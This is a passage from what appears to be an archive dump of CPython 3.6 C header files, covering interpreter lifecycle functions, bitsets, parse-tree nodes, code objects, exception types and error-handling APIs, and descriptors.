*/ PyAPI_FUNC(const char *) Py_GetVersion(void); PyAPI_FUNC(const char *) Py_GetPlatform(void); PyAPI_FUNC(const char *) Py_GetCopyright(void); PyAPI_FUNC(const char *) Py_GetCompiler(void); PyAPI_FUNC(const char *) Py_GetBuildInfo(void); #ifndef Py_LIMITED_API PyAPI_FUNC(const char *) _Py_gitidentifier(void); PyAPI_FUNC(const char *) _Py_gitversion(void); #endif /* Internal -- various one-time initializations */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyBuiltin_Init(void); PyAPI_FUNC(PyObject *) _PySys_Init(void); PyAPI_FUNC(void) _PyImport_Init(void); PyAPI_FUNC(void) _PyExc_Init(PyObject * bltinmod); PyAPI_FUNC(void) _PyImportHooks_Init(void); PyAPI_FUNC(int) _PyFrame_Init(void); PyAPI_FUNC(int) _PyFloat_Init(void); PyAPI_FUNC(int) PyByteArray_Init(void); PyAPI_FUNC(void) _PyRandom_Init(void); #endif /* Various internal finalizers */ #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyExc_Fini(void); PyAPI_FUNC(void) _PyImport_Fini(void); PyAPI_FUNC(void) PyMethod_Fini(void); PyAPI_FUNC(void) PyFrame_Fini(void); PyAPI_FUNC(void) PyCFunction_Fini(void); PyAPI_FUNC(void) PyDict_Fini(void); PyAPI_FUNC(void) PyTuple_Fini(void); PyAPI_FUNC(void) PyList_Fini(void); PyAPI_FUNC(void) PySet_Fini(void); PyAPI_FUNC(void) PyBytes_Fini(void); PyAPI_FUNC(void) PyByteArray_Fini(void); PyAPI_FUNC(void) PyFloat_Fini(void); PyAPI_FUNC(void) PyOS_FiniInterrupts(void); PyAPI_FUNC(void) _PyGC_DumpShutdownStats(void); PyAPI_FUNC(void) _PyGC_Fini(void); PyAPI_FUNC(void) PySlice_Fini(void); PyAPI_FUNC(void) _PyType_Fini(void); PyAPI_FUNC(void) _PyRandom_Fini(void); PyAPI_FUNC(void) PyAsyncGen_Fini(void); PyAPI_DATA(PyThreadState *) _Py_Finalizing; #endif /* Signals */ typedef void (*PyOS_sighandler_t)(int); PyAPI_FUNC(PyOS_sighandler_t) PyOS_getsig(int); PyAPI_FUNC(PyOS_sighandler_t) PyOS_setsig(int, PyOS_sighandler_t); #ifndef Py_LIMITED_API /* Random */ PyAPI_FUNC(int) _PyOS_URandom(void *buffer, Py_ssize_t size); PyAPI_FUNC(int) _PyOS_URandomNonblock(void *buffer, Py_ssize_t size); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_PYLIFECYCLE_H */ python3.6m/bitset.h 0000644 00000001430 15246445047 0010145 0 ustar 00 #ifndef Py_BITSET_H #define Py_BITSET_H #ifdef __cplusplus extern "C" { #endif /* Bitset interface */ #define BYTE char typedef BYTE *bitset; bitset newbitset(int nbits); void delbitset(bitset bs); #define testbit(ss, ibit) (((ss)[BIT2BYTE(ibit)] & BIT2MASK(ibit)) != 0) int addbit(bitset bs, int ibit); /* Returns 0 if already set */ int samebitset(bitset bs1, bitset bs2, int nbits); void mergebitset(bitset bs1, bitset bs2, int nbits); #define BITSPERBYTE (8*sizeof(BYTE)) #define NBYTES(nbits) (((nbits) + BITSPERBYTE - 1) / BITSPERBYTE) #define BIT2BYTE(ibit) ((ibit) / BITSPERBYTE) #define BIT2SHIFT(ibit) ((ibit) % BITSPERBYTE) #define BIT2MASK(ibit) (1 << BIT2SHIFT(ibit)) #define BYTE2BIT(ibyte) ((ibyte) * BITSPERBYTE) #ifdef __cplusplus } #endif #endif /* !Py_BITSET_H */ python3.6m/node.h 0000644 00000001757 15246445047 0007614 0 ustar 00 /* Parse tree node interface */ #ifndef Py_NODE_H #define Py_NODE_H #ifdef __cplusplus extern "C" { #endif typedef struct _node { short n_type; char *n_str; int n_lineno; int n_col_offset; int n_nchildren; struct _node *n_child; } node; PyAPI_FUNC(node *) PyNode_New(int type); PyAPI_FUNC(int) PyNode_AddChild(node *n, int type, char *str, int lineno, int col_offset); PyAPI_FUNC(void) PyNode_Free(node *n); #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) _PyNode_SizeOf(node *n); #endif /* Node access functions */ #define NCH(n) ((n)->n_nchildren) #define CHILD(n, i) (&(n)->n_child[i]) #define RCHILD(n, i) (CHILD(n, NCH(n) + i)) #define TYPE(n) ((n)->n_type) #define STR(n) ((n)->n_str) #define LINENO(n) ((n)->n_lineno) /* Assert that the type of a node is what we expect */ #define REQ(n, type) assert(TYPE(n) == (type)) PyAPI_FUNC(void) PyNode_ListTree(node *); #ifdef __cplusplus } #endif #endif /* !Py_NODE_H */ python3.6m/code.h 0000644 00000013471 15246445047 0007575 0 ustar 00 /* Definitions for bytecode */ #ifndef Py_LIMITED_API #ifndef Py_CODE_H #define Py_CODE_H #ifdef __cplusplus extern "C" { #endif typedef uint16_t _Py_CODEUNIT; #ifdef WORDS_BIGENDIAN # define _Py_OPCODE(word) ((word) >> 8) # define _Py_OPARG(word) ((word) & 255) #else # define _Py_OPCODE(word) ((word) & 255) # define _Py_OPARG(word) ((word) >> 8) #endif /* Bytecode object */ typedef struct { PyObject_HEAD int co_argcount; /* #arguments, except *args */ int co_kwonlyargcount; /* #keyword only arguments */ int co_nlocals; /* #local variables */ int co_stacksize; /* #entries needed for evaluation stack */ int co_flags; /* CO_..., see below */ int co_firstlineno; /* first source line number */ PyObject *co_code; /* instruction opcodes */ PyObject *co_consts; /* list (constants used) */ PyObject *co_names; /* list of strings (names used) */ PyObject *co_varnames; /* tuple of strings (local variable names) */ PyObject *co_freevars; /* tuple of strings (free variable names) */ PyObject *co_cellvars; /* tuple of strings (cell variable names) */ /* The rest aren't used in either hash or comparisons, except for co_name, used in both. This is done to preserve the name and line number for tracebacks and debuggers; otherwise, constant de-duplication would collapse identical functions/lambdas defined on different lines. */ unsigned char *co_cell2arg; /* Maps cell vars which are arguments. */ PyObject *co_filename; /* unicode (where it was loaded from) */ PyObject *co_name; /* unicode (name, for reference) */ PyObject *co_lnotab; /* string (encoding addr<->lineno mapping) See Objects/lnotab_notes.txt for details. */ void *co_zombieframe; /* for optimization only (see frameobject.c) */ PyObject *co_weakreflist; /* to support weakrefs to code objects */ /* Scratch space for extra data relating to the code object. Type is a void* to keep the format private in codeobject.c to force people to go through the proper APIs. */ void *co_extra; } PyCodeObject; /* Masks for co_flags above */ #define CO_OPTIMIZED 0x0001 #define CO_NEWLOCALS 0x0002 #define CO_VARARGS 0x0004 #define CO_VARKEYWORDS 0x0008 #define CO_NESTED 0x0010 #define CO_GENERATOR 0x0020 /* The CO_NOFREE flag is set if there are no free or cell variables. This information is redundant, but it allows a single flag test to determine whether there is any extra work to be done when the call frame it setup. */ #define CO_NOFREE 0x0040 /* The CO_COROUTINE flag is set for coroutine functions (defined with ``async def`` keywords) */ #define CO_COROUTINE 0x0080 #define CO_ITERABLE_COROUTINE 0x0100 #define CO_ASYNC_GENERATOR 0x0200 /* These are no longer used. */ #if 0 #define CO_GENERATOR_ALLOWED 0x1000 #endif #define CO_FUTURE_DIVISION 0x2000 #define CO_FUTURE_ABSOLUTE_IMPORT 0x4000 /* do absolute imports by default */ #define CO_FUTURE_WITH_STATEMENT 0x8000 #define CO_FUTURE_PRINT_FUNCTION 0x10000 #define CO_FUTURE_UNICODE_LITERALS 0x20000 #define CO_FUTURE_BARRY_AS_BDFL 0x40000 #define CO_FUTURE_GENERATOR_STOP 0x80000 /* This value is found in the co_cell2arg array when the associated cell variable does not correspond to an argument. The maximum number of arguments is 255 (indexed up to 254), so 255 work as a special flag.*/ #define CO_CELL_NOT_AN_ARG 255 /* This should be defined if a future statement modifies the syntax. For example, when a keyword is added. */ #define PY_PARSER_REQUIRES_FUTURE_KEYWORD #define CO_MAXBLOCKS 20 /* Max static block nesting within a function */ PyAPI_DATA(PyTypeObject) PyCode_Type; #define PyCode_Check(op) (Py_TYPE(op) == &PyCode_Type) #define PyCode_GetNumFree(op) (PyTuple_GET_SIZE((op)->co_freevars)) /* Public interface */ PyAPI_FUNC(PyCodeObject *) PyCode_New( int, int, int, int, int, PyObject *, PyObject *, PyObject *, PyObject *, PyObject *, PyObject *, PyObject *, PyObject *, int, PyObject *); /* same as struct above */ /* Creates a new empty code object with the specified source location. */ PyAPI_FUNC(PyCodeObject *) PyCode_NewEmpty(const char *filename, const char *funcname, int firstlineno); /* Return the line number associated with the specified bytecode index in this code object. If you just need the line number of a frame, use PyFrame_GetLineNumber() instead. */ PyAPI_FUNC(int) PyCode_Addr2Line(PyCodeObject *, int); /* for internal use only */ typedef struct _addr_pair { int ap_lower; int ap_upper; } PyAddrPair; #ifndef Py_LIMITED_API /* Update *bounds to describe the first and one-past-the-last instructions in the same line as lasti. Return the number of that line. */ PyAPI_FUNC(int) _PyCode_CheckLineNumber(PyCodeObject* co, int lasti, PyAddrPair *bounds); /* Create a comparable key used to compare constants taking in account the * object type. It is used to make sure types are not coerced (e.g., float and * complex) _and_ to distinguish 0.0 from -0.0 e.g. on IEEE platforms * * Return (type(obj), obj, ...): a tuple with variable size (at least 2 items) * depending on the type and the value. The type is the first item to not * compare bytes and str which can raise a BytesWarning exception. */ PyAPI_FUNC(PyObject*) _PyCode_ConstantKey(PyObject *obj); #endif PyAPI_FUNC(PyObject*) PyCode_Optimize(PyObject *code, PyObject* consts, PyObject *names, PyObject *lnotab); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyCode_GetExtra(PyObject *code, Py_ssize_t index, void **extra); PyAPI_FUNC(int) _PyCode_SetExtra(PyObject *code, Py_ssize_t index, void *extra); #endif #ifdef __cplusplus } #endif #endif /* !Py_CODE_H */ #endif /* Py_LIMITED_API */ python3.6m/pyerrors.h 0000644 00000041503 15246445047 0010545 0 ustar 00 #ifndef Py_ERRORS_H #define Py_ERRORS_H #ifdef __cplusplus extern "C" { #endif /* Error objects */ #ifndef Py_LIMITED_API /* PyException_HEAD defines the initial segment of every exception class. */ #define PyException_HEAD PyObject_HEAD PyObject *dict;\ PyObject *args; PyObject *traceback;\ PyObject *context; PyObject *cause;\ char suppress_context; typedef struct { PyException_HEAD } PyBaseExceptionObject; typedef struct { PyException_HEAD PyObject *msg; PyObject *filename; PyObject *lineno; PyObject *offset; PyObject *text; PyObject *print_file_and_line; } PySyntaxErrorObject; typedef struct { PyException_HEAD PyObject *msg; PyObject *name; PyObject *path; } PyImportErrorObject; typedef struct { PyException_HEAD PyObject *encoding; PyObject *object; Py_ssize_t start; Py_ssize_t end; PyObject *reason; } PyUnicodeErrorObject; typedef struct { PyException_HEAD PyObject *code; } PySystemExitObject; typedef struct { PyException_HEAD PyObject *myerrno; PyObject *strerror; PyObject *filename; PyObject *filename2; #ifdef MS_WINDOWS PyObject *winerror; #endif Py_ssize_t written; /* only for BlockingIOError, -1 otherwise */ } PyOSErrorObject; typedef struct { PyException_HEAD PyObject *value; } PyStopIterationObject; /* Compatibility typedefs */ typedef PyOSErrorObject PyEnvironmentErrorObject; #ifdef MS_WINDOWS typedef PyOSErrorObject PyWindowsErrorObject; #endif #endif /* !Py_LIMITED_API */ /* Error handling definitions */ PyAPI_FUNC(void) PyErr_SetNone(PyObject *); PyAPI_FUNC(void) PyErr_SetObject(PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyErr_SetKeyError(PyObject *); #endif PyAPI_FUNC(void) PyErr_SetString( PyObject *exception, const char *string /* decoded from utf-8 */ ); PyAPI_FUNC(PyObject *) PyErr_Occurred(void); PyAPI_FUNC(void) PyErr_Clear(void); PyAPI_FUNC(void) PyErr_Fetch(PyObject **, PyObject **, PyObject **); PyAPI_FUNC(void) PyErr_Restore(PyObject *, PyObject *, PyObject *); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(void) PyErr_GetExcInfo(PyObject **, PyObject **, PyObject **); PyAPI_FUNC(void) PyErr_SetExcInfo(PyObject *, PyObject *, PyObject *); #endif #if defined(__clang__) || \ (defined(__GNUC__) && \ ((__GNUC__ >= 3) || \ (__GNUC__ == 2) && (__GNUC_MINOR__ >= 5))) #define _Py_NO_RETURN __attribute__((__noreturn__)) #else #define _Py_NO_RETURN #endif /* Defined in Python/pylifecycle.c */ PyAPI_FUNC(void) Py_FatalError(const char *message) _Py_NO_RETURN; #if defined(Py_DEBUG) || defined(Py_LIMITED_API) #define _PyErr_OCCURRED() PyErr_Occurred() #else #define _PyErr_OCCURRED() (PyThreadState_GET()->curexc_type) #endif /* Error testing and normalization */ PyAPI_FUNC(int) PyErr_GivenExceptionMatches(PyObject *, PyObject *); PyAPI_FUNC(int) PyErr_ExceptionMatches(PyObject *); PyAPI_FUNC(void) PyErr_NormalizeException(PyObject**, PyObject**, PyObject**); /* Traceback manipulation (PEP 3134) */ PyAPI_FUNC(int) PyException_SetTraceback(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyException_GetTraceback(PyObject *); /* Cause manipulation (PEP 3134) */ PyAPI_FUNC(PyObject *) PyException_GetCause(PyObject *); PyAPI_FUNC(void) PyException_SetCause(PyObject *, PyObject *); /* Context manipulation (PEP 3134) */ PyAPI_FUNC(PyObject *) PyException_GetContext(PyObject *); PyAPI_FUNC(void) PyException_SetContext(PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyErr_ChainExceptions(PyObject *, PyObject *, PyObject *); #endif /* */ #define PyExceptionClass_Check(x) \ (PyType_Check((x)) && \ PyType_FastSubclass((PyTypeObject*)(x), Py_TPFLAGS_BASE_EXC_SUBCLASS)) #define PyExceptionInstance_Check(x) \ PyType_FastSubclass((x)->ob_type, Py_TPFLAGS_BASE_EXC_SUBCLASS) #define PyExceptionClass_Name(x) \ ((char *)(((PyTypeObject*)(x))->tp_name)) #define PyExceptionInstance_Class(x) ((PyObject*)((x)->ob_type)) /* Predefined exceptions */ PyAPI_DATA(PyObject *) PyExc_BaseException; PyAPI_DATA(PyObject *) PyExc_Exception; #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_DATA(PyObject *) PyExc_StopAsyncIteration; #endif PyAPI_DATA(PyObject *) PyExc_StopIteration; PyAPI_DATA(PyObject *) PyExc_GeneratorExit; PyAPI_DATA(PyObject *) PyExc_ArithmeticError; PyAPI_DATA(PyObject *) PyExc_LookupError; PyAPI_DATA(PyObject *) PyExc_AssertionError; PyAPI_DATA(PyObject *) PyExc_AttributeError; PyAPI_DATA(PyObject *) PyExc_BufferError; PyAPI_DATA(PyObject *) PyExc_EOFError; PyAPI_DATA(PyObject *) PyExc_FloatingPointError; PyAPI_DATA(PyObject *) PyExc_OSError; PyAPI_DATA(PyObject *) PyExc_ImportError; #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000 PyAPI_DATA(PyObject *) PyExc_ModuleNotFoundError; #endif PyAPI_DATA(PyObject *) PyExc_IndexError; PyAPI_DATA(PyObject *) PyExc_KeyError; PyAPI_DATA(PyObject *) PyExc_KeyboardInterrupt; PyAPI_DATA(PyObject *) PyExc_MemoryError; PyAPI_DATA(PyObject *) PyExc_NameError; PyAPI_DATA(PyObject *) PyExc_OverflowError; PyAPI_DATA(PyObject *) PyExc_RuntimeError; #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_DATA(PyObject *) PyExc_RecursionError; #endif PyAPI_DATA(PyObject *) PyExc_NotImplementedError; PyAPI_DATA(PyObject *) PyExc_SyntaxError; PyAPI_DATA(PyObject *) PyExc_IndentationError; PyAPI_DATA(PyObject *) PyExc_TabError; PyAPI_DATA(PyObject *) PyExc_ReferenceError; PyAPI_DATA(PyObject *) PyExc_SystemError; PyAPI_DATA(PyObject *) PyExc_SystemExit; PyAPI_DATA(PyObject *) PyExc_TypeError; PyAPI_DATA(PyObject *) PyExc_UnboundLocalError; PyAPI_DATA(PyObject *) PyExc_UnicodeError; PyAPI_DATA(PyObject *) PyExc_UnicodeEncodeError; PyAPI_DATA(PyObject *) PyExc_UnicodeDecodeError; PyAPI_DATA(PyObject *) PyExc_UnicodeTranslateError; PyAPI_DATA(PyObject *) PyExc_ValueError; PyAPI_DATA(PyObject *) PyExc_ZeroDivisionError; #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_DATA(PyObject *) PyExc_BlockingIOError; PyAPI_DATA(PyObject *) PyExc_BrokenPipeError; PyAPI_DATA(PyObject *) PyExc_ChildProcessError; PyAPI_DATA(PyObject *) PyExc_ConnectionError; PyAPI_DATA(PyObject *) PyExc_ConnectionAbortedError; PyAPI_DATA(PyObject *) PyExc_ConnectionRefusedError; PyAPI_DATA(PyObject *) PyExc_ConnectionResetError; PyAPI_DATA(PyObject *) PyExc_FileExistsError; PyAPI_DATA(PyObject *) PyExc_FileNotFoundError; PyAPI_DATA(PyObject *) PyExc_InterruptedError; PyAPI_DATA(PyObject *) PyExc_IsADirectoryError; PyAPI_DATA(PyObject *) PyExc_NotADirectoryError; PyAPI_DATA(PyObject *) PyExc_PermissionError; PyAPI_DATA(PyObject *) PyExc_ProcessLookupError; PyAPI_DATA(PyObject *) PyExc_TimeoutError; #endif /* Compatibility aliases */ PyAPI_DATA(PyObject *) PyExc_EnvironmentError; PyAPI_DATA(PyObject *) PyExc_IOError; #ifdef MS_WINDOWS PyAPI_DATA(PyObject *) PyExc_WindowsError; #endif /* Predefined warning categories */ PyAPI_DATA(PyObject *) PyExc_Warning; PyAPI_DATA(PyObject *) PyExc_UserWarning; PyAPI_DATA(PyObject *) PyExc_DeprecationWarning; PyAPI_DATA(PyObject *) PyExc_PendingDeprecationWarning; PyAPI_DATA(PyObject *) PyExc_SyntaxWarning; PyAPI_DATA(PyObject *) PyExc_RuntimeWarning; PyAPI_DATA(PyObject *) PyExc_FutureWarning; PyAPI_DATA(PyObject *) PyExc_ImportWarning; PyAPI_DATA(PyObject *) PyExc_UnicodeWarning; PyAPI_DATA(PyObject *) PyExc_BytesWarning; PyAPI_DATA(PyObject *) PyExc_ResourceWarning; /* Convenience functions */ PyAPI_FUNC(int) PyErr_BadArgument(void); PyAPI_FUNC(PyObject *) PyErr_NoMemory(void); PyAPI_FUNC(PyObject *) PyErr_SetFromErrno(PyObject *); PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithFilenameObject( PyObject *, PyObject *); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03040000 PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithFilenameObjects( PyObject *, PyObject *, PyObject *); #endif PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithFilename( PyObject *exc, const char *filename /* decoded from the filesystem encoding */ ); #if defined(MS_WINDOWS) && !defined(Py_LIMITED_API) PyAPI_FUNC(PyObject *) PyErr_SetFromErrnoWithUnicodeFilename( PyObject *, const Py_UNICODE *); #endif /* MS_WINDOWS */ PyAPI_FUNC(PyObject *) PyErr_Format( PyObject *exception, const char *format, /* ASCII-encoded string */ ... ); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(PyObject *) PyErr_FormatV( PyObject *exception, const char *format, va_list vargs); #endif #ifndef Py_LIMITED_API /* Like PyErr_Format(), but saves current exception as __context__ and __cause__. */ PyAPI_FUNC(PyObject *) _PyErr_FormatFromCause( PyObject *exception, const char *format, /* ASCII-encoded string */ ... ); #endif #ifdef MS_WINDOWS PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithFilename( int ierr, const char *filename /* decoded from the filesystem encoding */ ); #ifndef Py_LIMITED_API /* XXX redeclare to use WSTRING */ PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErrWithUnicodeFilename( int, const Py_UNICODE *); #endif PyAPI_FUNC(PyObject *) PyErr_SetFromWindowsErr(int); PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithFilenameObject( PyObject *,int, PyObject *); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03040000 PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithFilenameObjects( PyObject *,int, PyObject *, PyObject *); #endif PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithFilename( PyObject *exc, int ierr, const char *filename /* decoded from the filesystem encoding */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErrWithUnicodeFilename( PyObject *,int, const Py_UNICODE *); #endif PyAPI_FUNC(PyObject *) PyErr_SetExcFromWindowsErr(PyObject *, int); #endif /* MS_WINDOWS */ #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000 PyAPI_FUNC(PyObject *) PyErr_SetImportErrorSubclass(PyObject *, PyObject *, PyObject *, PyObject *); #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject *) PyErr_SetImportError(PyObject *, PyObject *, PyObject *); #endif /* Export the old function so that the existing API remains available: */ PyAPI_FUNC(void) PyErr_BadInternalCall(void); PyAPI_FUNC(void) _PyErr_BadInternalCall(const char *filename, int lineno); /* Mask the old API with a call to the new API for code compiled under Python 2.0: */ #define PyErr_BadInternalCall() _PyErr_BadInternalCall(__FILE__, __LINE__) /* Function to create a new exception */ PyAPI_FUNC(PyObject *) PyErr_NewException( const char *name, PyObject *base, PyObject *dict); PyAPI_FUNC(PyObject *) PyErr_NewExceptionWithDoc( const char *name, const char *doc, PyObject *base, PyObject *dict); PyAPI_FUNC(void) PyErr_WriteUnraisable(PyObject *); /* In exceptions.c */ #ifndef Py_LIMITED_API /* Helper that attempts to replace the current exception with one of the * same type but with a prefix added to the exception text. The resulting * exception description looks like: * * prefix (exc_type: original_exc_str) * * Only some exceptions can be safely replaced. If the function determines * it isn't safe to perform the replacement, it will leave the original * unmodified exception in place. * * Returns a borrowed reference to the new exception (if any), NULL if the * existing exception was left in place. */ PyAPI_FUNC(PyObject *) _PyErr_TrySetFromCause( const char *prefix_format, /* ASCII-encoded string */ ... ); #endif /* In sigcheck.c or signalmodule.c */ PyAPI_FUNC(int) PyErr_CheckSignals(void); PyAPI_FUNC(void) PyErr_SetInterrupt(void); /* In signalmodule.c */ #ifndef Py_LIMITED_API int PySignal_SetWakeupFd(int fd); #endif /* Support for adding program text to SyntaxErrors */ PyAPI_FUNC(void) PyErr_SyntaxLocation( const char *filename, /* decoded from the filesystem encoding */ int lineno); PyAPI_FUNC(void) PyErr_SyntaxLocationEx( const char *filename, /* decoded from the filesystem encoding */ int lineno, int col_offset); #ifndef Py_LIMITED_API PyAPI_FUNC(void) PyErr_SyntaxLocationObject( PyObject *filename, int lineno, int col_offset); #endif PyAPI_FUNC(PyObject *) PyErr_ProgramText( const char *filename, /* decoded from the filesystem encoding */ int lineno); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyErr_ProgramTextObject( PyObject *filename, int lineno); #endif /* The following functions are used to create and modify unicode exceptions from C */ /* create a UnicodeDecodeError object */ PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_Create( const char *encoding, /* UTF-8 encoded string */ const char *object, Py_ssize_t length, Py_ssize_t start, Py_ssize_t end, const char *reason /* UTF-8 encoded string */ ); /* create a UnicodeEncodeError object */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_Create( const char *encoding, /* UTF-8 encoded string */ const Py_UNICODE *object, Py_ssize_t length, Py_ssize_t start, Py_ssize_t end, const char *reason /* UTF-8 encoded string */ ); #endif /* create a UnicodeTranslateError object */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyUnicodeTranslateError_Create( const Py_UNICODE *object, Py_ssize_t length, Py_ssize_t start, Py_ssize_t end, const char *reason /* UTF-8 encoded string */ ); PyAPI_FUNC(PyObject *) _PyUnicodeTranslateError_Create( PyObject *object, Py_ssize_t start, Py_ssize_t end, const char *reason /* UTF-8 encoded string */ ); #endif /* get the encoding attribute */ PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_GetEncoding(PyObject *); PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_GetEncoding(PyObject *); /* get the object attribute */ PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_GetObject(PyObject *); PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_GetObject(PyObject *); PyAPI_FUNC(PyObject *) PyUnicodeTranslateError_GetObject(PyObject *); /* get the value of the start attribute (the int * may not be NULL) return 0 on success, -1 on failure */ PyAPI_FUNC(int) PyUnicodeEncodeError_GetStart(PyObject *, Py_ssize_t *); PyAPI_FUNC(int) PyUnicodeDecodeError_GetStart(PyObject *, Py_ssize_t *); PyAPI_FUNC(int) PyUnicodeTranslateError_GetStart(PyObject *, Py_ssize_t *); /* assign a new value to the start attribute return 0 on success, -1 on failure */ PyAPI_FUNC(int) PyUnicodeEncodeError_SetStart(PyObject *, Py_ssize_t); PyAPI_FUNC(int) PyUnicodeDecodeError_SetStart(PyObject *, Py_ssize_t); PyAPI_FUNC(int) PyUnicodeTranslateError_SetStart(PyObject *, Py_ssize_t); /* get the value of the end attribute (the int *may not be NULL) return 0 on success, -1 on failure */ PyAPI_FUNC(int) PyUnicodeEncodeError_GetEnd(PyObject *, Py_ssize_t *); PyAPI_FUNC(int) PyUnicodeDecodeError_GetEnd(PyObject *, Py_ssize_t *); PyAPI_FUNC(int) PyUnicodeTranslateError_GetEnd(PyObject *, Py_ssize_t *); /* assign a new value to the end attribute return 0 on success, -1 on failure */ PyAPI_FUNC(int) PyUnicodeEncodeError_SetEnd(PyObject *, Py_ssize_t); PyAPI_FUNC(int) PyUnicodeDecodeError_SetEnd(PyObject *, Py_ssize_t); PyAPI_FUNC(int) PyUnicodeTranslateError_SetEnd(PyObject *, Py_ssize_t); /* get the value of the reason attribute */ PyAPI_FUNC(PyObject *) PyUnicodeEncodeError_GetReason(PyObject *); PyAPI_FUNC(PyObject *) PyUnicodeDecodeError_GetReason(PyObject *); PyAPI_FUNC(PyObject *) PyUnicodeTranslateError_GetReason(PyObject *); /* assign a new value to the reason attribute return 0 on success, -1 on failure */ PyAPI_FUNC(int) PyUnicodeEncodeError_SetReason( PyObject *exc, const char *reason /* UTF-8 encoded string */ ); PyAPI_FUNC(int) PyUnicodeDecodeError_SetReason( PyObject *exc, const char *reason /* UTF-8 encoded string */ ); PyAPI_FUNC(int) PyUnicodeTranslateError_SetReason( PyObject *exc, const char *reason /* UTF-8 encoded string */ ); /* These APIs aren't really part of the error implementation, but often needed to format error messages; the native C lib APIs are not available on all platforms, which is why we provide emulations for those platforms in Python/mysnprintf.c, WARNING: The return value of snprintf varies across platforms; do not rely on any particular behavior; eventually the C99 defn may be reliable. */ #if defined(MS_WIN32) && !defined(HAVE_SNPRINTF) # define HAVE_SNPRINTF # define snprintf _snprintf # define vsnprintf _vsnprintf #endif #include <stdarg.h> PyAPI_FUNC(int) PyOS_snprintf(char *str, size_t size, const char *format, ...) Py_GCC_ATTRIBUTE((format(printf, 3, 4))); PyAPI_FUNC(int) PyOS_vsnprintf(char *str, size_t size, const char *format, va_list va) Py_GCC_ATTRIBUTE((format(printf, 3, 0))); #ifdef __cplusplus } #endif #endif /* !Py_ERRORS_H */ python3.6m/pygetopt.h 0000644 00000000632 15246445047 0010531 0 ustar 00 #ifndef Py_PYGETOPT_H #define Py_PYGETOPT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API PyAPI_DATA(int) _PyOS_opterr; PyAPI_DATA(int) _PyOS_optind; PyAPI_DATA(wchar_t *) _PyOS_optarg; PyAPI_FUNC(void) _PyOS_ResetGetOpt(void); PyAPI_FUNC(int) _PyOS_GetOpt(int argc, wchar_t **argv, wchar_t *optstring); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_PYGETOPT_H */ python3.6m/descrobject.h 0000644 00000005624 15246445047 0011153 0 ustar 00 /* Descriptors */ #ifndef Py_DESCROBJECT_H #define Py_DESCROBJECT_H #ifdef __cplusplus extern "C" { #endif typedef PyObject *(*getter)(PyObject *, void *); typedef int (*setter)(PyObject *, PyObject *, void *); typedef struct PyGetSetDef { char *name; getter get; setter set; char *doc; void *closure; } PyGetSetDef; #ifndef Py_LIMITED_API typedef PyObject *(*wrapperfunc)(PyObject *self, PyObject *args, void *wrapped); typedef PyObject *(*wrapperfunc_kwds)(PyObject *self, PyObject *args, void *wrapped, PyObject *kwds); struct wrapperbase { char *name; int offset; void *function; wrapperfunc wrapper; char *doc; int flags; PyObject *name_strobj; }; /* Flags for above struct */ #define PyWrapperFlag_KEYWORDS 1 /* wrapper function takes keyword args */ /* Various kinds of descriptor objects */ typedef struct { PyObject_HEAD PyTypeObject *d_type; PyObject *d_name; PyObject *d_qualname; } PyDescrObject; #define PyDescr_COMMON PyDescrObject d_common #define PyDescr_TYPE(x) (((PyDescrObject *)(x))->d_type) #define PyDescr_NAME(x) (((PyDescrObject *)(x))->d_name) typedef struct { PyDescr_COMMON; PyMethodDef *d_method; } PyMethodDescrObject; typedef struct { PyDescr_COMMON; struct PyMemberDef *d_member; } PyMemberDescrObject; typedef struct { PyDescr_COMMON; PyGetSetDef *d_getset; } PyGetSetDescrObject; typedef struct { PyDescr_COMMON; struct wrapperbase *d_base; void *d_wrapped; /* This can be any function pointer */ } PyWrapperDescrObject; #endif /* Py_LIMITED_API */ PyAPI_DATA(PyTypeObject) PyClassMethodDescr_Type; PyAPI_DATA(PyTypeObject) PyGetSetDescr_Type; PyAPI_DATA(PyTypeObject) PyMemberDescr_Type; PyAPI_DATA(PyTypeObject) PyMethodDescr_Type; PyAPI_DATA(PyTypeObject) PyWrapperDescr_Type; PyAPI_DATA(PyTypeObject) PyDictProxy_Type; #ifndef Py_LIMITED_API 